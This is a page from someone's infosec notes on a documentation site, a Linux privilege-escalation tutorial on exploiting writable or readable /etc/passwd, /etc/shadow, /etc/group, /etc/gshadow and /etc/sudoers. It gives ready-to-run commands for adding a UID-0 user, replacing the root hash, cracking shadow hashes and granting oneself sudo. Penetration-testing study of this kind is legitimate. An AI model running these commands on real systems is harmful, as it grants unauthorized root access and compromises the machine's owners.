> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/linux/file-permission.md).

# File Permission

Default permissions of sensitive system files:

```bash
ls -lha /etc/passwd /etc/shadow /etc/group /etc/gshadow /etc/sudoers
```

**Typical Output:**

```
-rw-r--r-- 1 root root   1.5K Sep  2 23:21 /etc/group
-rw-r----- 1 root shadow 1.3K Sep  2 23:21 /etc/gshadow
-rw-r--r-- 1 root root   3.9K Sep  2 23:21 /etc/passwd
-rw-r----- 1 root shadow 2.0K Sep  3 09:57 /etc/shadow
-r--r----- 1 root root   1.7K Jul 20 04:01 /etc/sudoers
```

***

### `/etc/passwd`

If this file is **writable by a non-root user**, it's game over. You can create a new user with UID 0 (i.e., root-level privileges).

**Method 1: Add a Root Alias User**

1. Generate a password hash:

```bash
openssl passwd 123
# Output: $1$sVi6TNGL$D6ISE1isMny3up27YxUVP0
```

2. Append a new root user in `/etc/passwd`:

```
root1:$1$sVi6TNGL$D6ISE1isMny3up27YxUVP0:0:0:root:/root:/bin/bash
```

3. Switch user:

```bash
su - root1
# Password: 123
```

✅ Now you are root!

**Method 2: Change UID/GID of Current User to 0:0**

Find your username in `/etc/passwd` and change UID and GID to `0:0`:

```
youruser:x:0:0:root:/home/youruser:/bin/bash
```

Now `youruser` has root privileges.

***

### `/etc/shadow` — Read or Write

**Read Permission**

If readable, you can extract and crack root password hashes:

```bash
grep root /etc/shadow
```

Use `hashcat` or `john` to crack the password.

**Write Permission**

1. Generate a password hash:

```bash
openssl passwd -6 123
```

Output:

```
$6$aRJHXV7yL0zooY4c$mEWI5Qe1VDrYDoq1MQUetSdaQLiduo4hq//9n.1eaGQzcAYMBRhPnoXlI3TF8mZ6qvyyftPyWgVLfrUBitz69.
```

2. Replace the root hash in `/etc/shadow`:

```
root:$6$aRJHXV7yL0zooY4c$mEWI5...:19378:0:99999:7:::
```

3. Login as root:

```bash
su - root
# Password: 123
```

***

### `/etc/group` — Writable

* If writable, you can **add yourself to privileged groups** (like `sudo` or `shadow`):

```bash
echo 'youruser:x:27:' >> /etc/group  # Adds to sudo group
```

* If `/etc/shadow` is readable by group `shadow`, and `/etc/group` is writable, you can **add yourself to `shadow`** group and read `/etc/shadow`.

***

### `/etc/gshadow` — Writable

You can modify group passwords or access using:

```bash
openssl passwd 123
vim /etc/gshadow
```

Add hashed group passwords or manipulate group memberships.

***

### `/etc/sudoers` — Writable

If you can **write to `/etc/sudoers`**, grant yourself sudo privileges:

```bash
echo 'youruser ALL=(ALL:ALL) ALL' >> /etc/sudoers
```

Then:

```bash
sudo su
```